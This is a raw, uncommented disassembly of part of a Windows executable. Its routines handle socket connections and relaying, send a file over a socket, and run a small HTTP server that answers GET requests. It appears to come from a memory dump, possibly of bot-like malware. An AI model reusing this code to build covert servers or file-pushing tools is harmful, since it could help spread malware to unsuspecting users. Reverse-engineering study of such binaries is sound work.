		push	dword_4CE384
		call	dword_4CB65C
		test	eax, eax
		jle	short loc_40E47F
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CE380
		nop
		call	near ptr 2720000h
		jmp	short loc_40E47F
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E4C2:				; CODE XREF: ___:0040E4E8j
					; ___:0040E502j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE374
		call	near ptr 2730000h
		nop
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C2
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CE384
		call	dword_4CB694
		jmp	short loc_40E4C2
; ---------------------------------------------------------------------------
dword_40E504	dd 81EC8B55h, 11CECh, 8458B00h,	6A575653h, 59F08B28h, 0FEE4BD8Dh
					; DATA XREF: sub_401ACD+2D0Eo
		dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
		dd 59E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
		dd 15FFFFFFh, 4CB644h, 6A56066Ah, 45896602h, 0C415FFCAh
		dd 89004CB6h, 458D0845h, 50106AC8h, 0FF0875FFh,	4CB67015h
		dd 0FF056A00h, 15FF0875h, 4CB66Ch, 70FC1D8Bh, 358B0042h
		dd 427068h, 75FF5757h, 0D815FF08h, 0A3004CB6h, 4CE384h
		dd 57F4458Dh, 0E3806850h, 7C68004Ch, 0C7004CE3h, 0CF445h
		dd 45C70000h, 1FCh, 0F87D8900h,	458DD3FFh, 685057F4h, 4CE378h
		dd 4CE37468h, 6AD3FF00h, 84458D44h, 0BDE85057h,	0A10000CFh
		dd 4CE37Ch, 890CC483h, 78A1BC45h, 89004CE3h, 6A57C045h
		dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
		dd 7D896600h, 15E890B4h, 5002331Fh, 0E37835FFh,	9E8004Ch
		dd 9002331Fh, 19E6E850h, 8D900233h, 8D50D845h, 57508445h
		dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 433BF468h
		dd 6CE85700h, 90022726h, 50E8458Dh, 0B9685757h,	8D0040E4h
		dd 5057F445h, 19AAE890h, 45890229h, 0E8458DECh,	68575750h
		dd 40E476h, 57F4458Dh, 1992E850h, 6A900229h, 0F04589FFh
		dd 90D875FFh, 2A1983E8h, 75FF5702h, 21DBE8F0h, 5790022Ah
		dd 0E8EC75FFh, 22A21D1h, 0F075FF90h, 75FFD6FFh,	57D6FFECh
		dd 90D875FFh, 3224E1E8h, 7C35FF02h, 0FF004CE3h,	8035FFD6h
		dd 0FF004CE3h, 7435FFD6h, 0FF004CE3h, 7835FFD6h, 0FF004CE3h
		dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
		dd 0FFFE6800h, 680000h,	0E8000004h, 9F9Dh, 0E38CA359h
		dd 0C359004Ch
dword_40E6F0	dd 81EC8B55h, 6C0ECh, 8458B00h,	6A575653h, 59F08B27h, 0FF50BD8Dh
					; DATA XREF: sub_40BACE+34Do
		dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
		dd 6DE85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
		dd 15FFFFFFh, 4CB644h, 26A5653h, 0EE458966h, 0FFF05D89h
		dd 4CB6C415h, 83F88B00h, 0FE3BFFCEh, 5D394575h,	532075E4h
		dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
		dd 0E8FFFFFFh, 0FFFFB2FFh, 8D14C483h, 0FFFD4085h, 2AE850FFh
		dd 0FF00006Ah, 0FFFF54B5h, 0CC85E8FFh, 5959FFFFh, 92E89053h
		dd 8B022F23h, 0FFFF5485h, 69106AFFh, 234C0h, 8CB88900h
		dd 8D0043E5h, 5750EC45h, 0B67015FFh, 0C63B004Ch, 400BBh
		dd 0CF850F00h, 0FF000000h, 4CB5D815h, 27403D00h, 47740000h
		dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh,	858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB27Fh, 8D14C483h
		dd 0FFFD4085h, 0AAE850FFh, 0FF000069h, 0FFFF54B5h, 0CC05E8FFh
		dd 5959FFFFh, 2313E856h, 6890022Fh, 0FFFEh, 9E63E853h
		dd 0A3590000h, 4CE38Ch,	45896659h, 0EC458DEEh, 5750106Ah
		dd 0B67015FFh, 0C63B004Ch, 15FF5475h, 4CB5D8h, 7539F633h
		dd 3D2775E4h, 2740h, 8D562074h,	0FFFD4085h, 0E075FFFFh
		dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 4E8FFFFh, 83FFFFB2h
		dd 858D14C4h, 0FFFFFD40h, 692FE850h, 0B5FF0000h, 0FFFFFF54h
		dd 0FFCB8AE8h, 565959FFh, 2297E890h, 56A022Fh, 6C15FF57h
		dd 3B004CB6h, 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h
		dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CB6D815h
		dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
		dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
		dd 0FFB186E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 68B1h
		dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
		dd 4CB65Ch, 74FFF883h, 0FF565696h, 4CB38035h, 50B5FF00h
		dd 0E8FFFFFFh, 0FFFFC2E4h, 0FC685059h, 8D00433Bh, 0FFF94085h
		dd 0E85053FFh, 0D040h, 8D1CC483h, 0FFF94085h, 50006AFFh
		dd 0C68FE8h, 8D505900h,	0FFF94085h, 75FF50FFh, 9415FF08h
		dd 83004CB6h, 840FFFF8h, 0FFFFFF43h, 0E39405FFh, 38E9004Ch
		dd 57FFFFFFh, 0B6DC15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFCA8AE8h
		dd 6A59FFh, 2197E890h
		db 2Fh,	2
word_40E992	dw 8B55h		; DATA XREF: sub_40BACE+22Ao
		dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h,	0A9h, 0BD8DF08Bh
		dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
		dd 16850F6h, 89000001h,	5D89E45Dh, 0DC5D89D4h, 0FDD4B589h
		dd 0B589FFFFh, 0FFFFFBC4h, 57F8E890h, 5356716Ah, 0E890026Ah
		dd 716A5236h, 71F4358Bh, 4D8D0042h, 51046AE4h, 0FFFFBFh
		dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AD4h,	8B57FB6Ah
		dd 0FF57F87Dh, 0DC458DD6h, 667E6850h, 0E8578004h, 716A2B36h
		dd 80A16690h, 83004CB3h, 5000B865h, 0B445C766h,	15FF0002h
		dd 4CB644h, 0B6458966h,	6AB4458Dh, 0E8575010h, 716A5482h
		dd 7DC08590h, 0E9C38B07h, 560h,	0E8570A6Ah, 716A7382h
		dd 0D49D8990h, 8BFFFFFDh, 4272241Dh, 0D8BD8900h, 89FFFFFDh
		dd 416AFC7Dh, 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh
		dd 0C4858DF6h, 56FFFFFBh, 8B505656h, 5040FC45h,	2DF2E890h
		dd 0F883716Ah, 0E840FFFh, 33000005h, 0FC7539FFh, 7C087D89h
		dd 6AF633C5h, 60858D64h, 56FFFFFDh, 0CACEE850h,	646A0000h
		dd 0FF50858Dh, 5056FFFFh, 0CABFE8h, 18C48300h, 0FBC4858Dh
		dd 5750FFFFh, 17C75E8h,	0FC08500h, 4BA84h, 0F87D3B00h
		dd 458D7A75h, 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 90F875FFh
		dd 6A9B84E8h, 0FFF88371h, 491840Fh, 0C9330000h,	0FDD4B539h
		dd 1676FFFFh, 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h
		dd 0FFFFFDD4h, 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h
		dd 890D7340h, 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh
		dd 0FC458903h, 68156A56h, 433EC4h, 0E9D3FF50h, 43Bh, 60858D56h
		dd 6AFFFFFDh, 90575064h, 6A6B17E8h, 7FC08571h, 0D4958B52h
		dd 33FFFFFDh, 76D63BC9h, 0D8858D3Ah, 39FFFFFDh,	410A7438h
		dd 3B04C083h, 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh
		dd 4508BFFh, 8B108941h,	0FFFDD495h, 4C083FFh, 72CA3B4Ah
		dd 0D48DFFECh, 57FFFFFDh, 2EA3E890h, 0D4E9716Ah, 8D000003h
		dd 0FFFCC885h, 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh
		dd 433EBCh, 0DA57E850h,	858D0000h, 0FFFFFF50h, 433EB468h
		dd 71E85000h, 830000D4h, 0C08518C4h, 6A560D75h,	3E9C6816h
		dd 82E90043h, 8D000000h, 0FFFF5085h, 3E9468FFh,	0E8500043h
		dd 0D44Ch, 59C08559h, 6A560A75h, 3E7C6814h, 61EB0043h
		dd 0FF50858Dh, 7468FFFFh, 5000433Eh, 0D42BE8h, 0C0855900h
		dd 560A7559h, 64680D6Ah, 0EB00433Eh, 50858D40h,	68FFFFFFh
		dd 433E5Ch, 0D40AE850h,	85590000h, 0A7559C0h, 68106A56h
		dd 433E48h, 858D1FEBh, 0FFFFFF50h, 433E4468h, 0E9E85000h
		dd 590000D3h, 7559C085h, 1E6A560Eh, 433E2468h, 0F1E95700h
		dd 0BF000002h, 433E1Ch,	0FF50858Dh, 5057FFFFh, 0D3C3E8h
		dd 0C0855900h, 8D247559h, 0FFFCC885h, 3E1868FFh, 0E8500043h
		dd 0D3ACh, 59C08559h, 6A560D75h, 3E046813h, 0B2E90043h
		dd 8D000002h, 0FFFF5085h, 0E85057FFh, 0D38Ch, 59C08559h
		dd 858D2475h, 0FFFFFCC8h, 433E0068h, 75E85000h,	590000D3h
		dd 7559C085h, 136A560Dh, 433DEC68h, 27BE900h, 858D0000h
		dd 0FFFFFF50h, 433DE468h, 51E85000h, 590000D3h,	7559C085h
		dd 0BE0A6A34h, 433DB8h,	0D8BD8D59h, 0F3FFFFFEh,	858D50A5h
		dd 0FFFFFED8h, 0E8A56650h, 0C29Ch, 858D5059h, 0FFFFFED8h
		dd 875FF50h, 0F633D3FFh, 235E9h, 50858D00h, 68FFFFFFh
		dd 433DB0h, 0D306E850h,	85590000h, 2A7559C0h, 98BE056Ah
		dd 5900433Dh, 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h
		dd 0E8A450FFh, 0C250h, 858D5059h, 0FFFFFF38h, 858DB2EBh
		dd 0FFFFFF50h, 433D9068h, 0C5E85000h, 590000D2h, 0F59C085h
		dd 0B685h, 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh
		dd 8D50EC45h, 8D50E845h, 8D50E045h, 8D50D845h, 0FFFD6085h
		dd 3D6868FFh, 0E8500043h, 0D861h, 0FF04858Dh, 0E850FFFFh
		dd 0C989h, 858DF88Bh, 0FFFFFD2Ch, 0C97BE850h, 45890000h
		dd 8D326AF4h, 0FFFF0485h, 0E85056FFh, 0C780h, 8D34C483h
		dd 0FFFF0485h, 0F475FFFFh, 3D606857h, 0E8500043h, 0CA5Eh
		dd 858D106Ah, 0FFFFFF04h, 8EE85056h, 830000CFh,	45891CC4h
		dd 0EC458DF4h, 0E8458D50h, 0E0458D50h, 0D8458D50h, 0C4458D50h
		dd 433D5468h, 2BE85000h, 830000CAh, 6A5618C4h, 3D34681Dh
		dd 1EE90043h, 8D000001h, 0FFFF5085h, 3D2C68FFh,	0E8500043h
		dd 0D1F4h, 59C08559h, 0E4850Fh,	6A560000h, 3D006828h, 75FF0043h
		dd 0FFD3FF08h, 458DF475h, 20E850C4h, 59000001h,	5901F883h
		dd 0B6850Fh, 458D0000h,	858D50C4h, 0FFFFF720h, 433CE468h
		dd 0C7E85000h, 830000C9h, 0B5390CC4h, 0FFFFFBBCh, 8D562375h
		dd 0FFF72085h, 0B8B5FFFFh, 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh
		dd 0FFF920B5h, 0AB89E8FFh, 0C483FFFFh, 14AE814h, 0F8830000h
		dd 93850F01h, 56000000h, 0CC68176Ah, 0FF00433Ch, 0D3FF0875h
		dd 50C4458Dh, 0F720858Dh, 0AC68FFFFh, 5000433Ch, 0C969E8h
		dd 0CC48300h, 0FBBCB539h, 2375FFFFh, 20858D56h,	0FFFFFFF7h
		dd 0FFFBB8B5h, 858D50FFh, 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h
		dd 0FFFFAB2Bh, 8D14C483h, 0FFF72085h, 56E850FFh, 0FF000062h
		dd 4CE15005h, 2EEB5900h, 68206A56h, 433C88h, 858D1FEBh
		dd 0FFFFFF50h, 42D07868h, 0F5E85000h, 590000D0h, 7559C085h
		dd 1B6A560Dh, 433C6C68h, 875FF00h, 646AD3FFh, 0FD60858Dh
		dd 5056FFFFh, 0C5F3E8h,	87D8B00h, 470CC483h, 89FC7D3Bh
		dd 8E0F087Dh, 0FFFFFB01h, 0FFFAC1E9h, 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CE398, eax
		mov	word ptr [ebp-10h], 2
		call	near ptr 71AB12F8h
		nop
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CE398
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F037
		push	dword_4CE398
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F037:				; CODE XREF: ___:0040F01Fj
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2690000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B7
		push	edi
		mov	edi, 400h


loc_40F07F:				; CODE XREF: ___:0040F0B4j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CE398
		call	near ptr 71AB1AF4h
		nop
		push	1
		call	near ptr 2690F63h
		nop
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07F
		pop	edi


loc_40F0B7:				; CODE XREF: ___:0040F077j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CE398
		call	near ptr 71AB1A6Dh
		nop
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax


loc_40F0D3:				; CODE XREF: ___:0040F071j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D6	proc near		; DATA XREF: sub_401ACD+2284o
					; sub_40BACE+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB644
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CB6C4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E58C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CB670
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		push	7FFFFFFFh
		push	edi
		call	dword_4CB66C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB6E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40F1AD:				; CODE XREF: sub_40F0D6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB62C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40F1E3:				; CODE XREF: sub_40F0D6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB530
		test	eax, eax
		jz	loc_40F4A7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F265
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB6D8
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F237
		lea	edx, [ebp+var_134]


loc_40F22B:				; CODE XREF: sub_40F0D6+15Fj
		cmp	[edx], eax
		jz	short loc_40F237
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22B


loc_40F237:				; CODE XREF: sub_40F0D6+14Dj
					; sub_40F0D6+157j
		cmp	ecx, ebx
		jnz	short loc_40F254
		cmp	ebx, 40h
		jnb	short loc_40F254
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40F254:				; CODE XREF: sub_40F0D6+163j
					; sub_40F0D6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A7
		mov	[ebp+var_8], eax
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F265:				; CODE XREF: sub_40F0D6+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB65C
		test	eax, eax
		jg	short loc_40F2F8
		push	esi
		call	dword_4CB6DC
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A7
		lea	eax, [ebp+var_134]


loc_40F2B7:				; CODE XREF: sub_40F0D6+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B7
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F2C8:				; CODE XREF: sub_40F0D6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EC
		lea	eax, [ebp+ecx*4+var_134]


loc_40F2D6:				; CODE XREF: sub_40F0D6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D6


loc_40F2EC:				; CODE XREF: sub_40F0D6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F2F8:				; CODE XREF: sub_40F0D6+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A7


loc_40F326:				; CODE XREF: sub_40F0D6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CB
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39F
		mov	eax, offset asc_42D118 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B6
; ---------------------------------------------------------------------------


loc_40F39F:				; CODE XREF: sub_40F0D6+27Fj
					; sub_40F0D6+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_433F04 ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3EA


loc_40F3B6:				; CODE XREF: sub_40F0D6+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40F3CB:				; CODE XREF: sub_40F0D6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F326
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F3EA:				; CODE XREF: sub_40F0D6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F434
		lea	eax, [ebp+var_134]


loc_40F3F6:				; CODE XREF: sub_40F0D6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F407
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F6
		jmp	short loc_40F437
; ---------------------------------------------------------------------------


loc_40F407:				; CODE XREF: sub_40F0D6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42B
		lea	eax, [ebp+ecx*4+var_134]


loc_40F415:				; CODE XREF: sub_40F0D6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F415


loc_40F42B:				; CODE XREF: sub_40F0D6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F437
; ---------------------------------------------------------------------------


loc_40F434:				; CODE XREF: sub_40F0D6+318j
		mov	esi, [ebp+var_4]


loc_40F437:				; CODE XREF: sub_40F0D6+32Fj
					; sub_40F0D6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F4A0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F4A0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6E0
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B4
		add	esp, 14h
		jmp	short loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F4A0:				; CODE XREF: sub_40F0D6+369j
					; sub_40F0D6+38Fj
		push	esi
		call	dword_4CB6DC


loc_40F4A7:				; CODE XREF: sub_40F0D6+11Dj
					; sub_40F0D6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E3
		jmp	loc_40F1AD
; ---------------------------------------------------------------------------


loc_40F4BC:				; CODE XREF: sub_40F0D6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40F4C1:				; CODE XREF: sub_40F0D6+6Aj
					; sub_40F0D6+92j ...
		call	dword_4CB5D8
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_433EDC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F507
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A73
		add	esp, 14h


loc_40F507:				; CODE XREF: sub_40F0D6+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6DC
		push	[ebp+var_254]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700B29h
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F531	proc near		; DATA XREF: sub_40F6B4+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F597
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59C
; ---------------------------------------------------------------------------


loc_40F597:				; CODE XREF: sub_40F531+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40F59C:				; CODE XREF: sub_40F531+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2770000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2760000h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F615
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
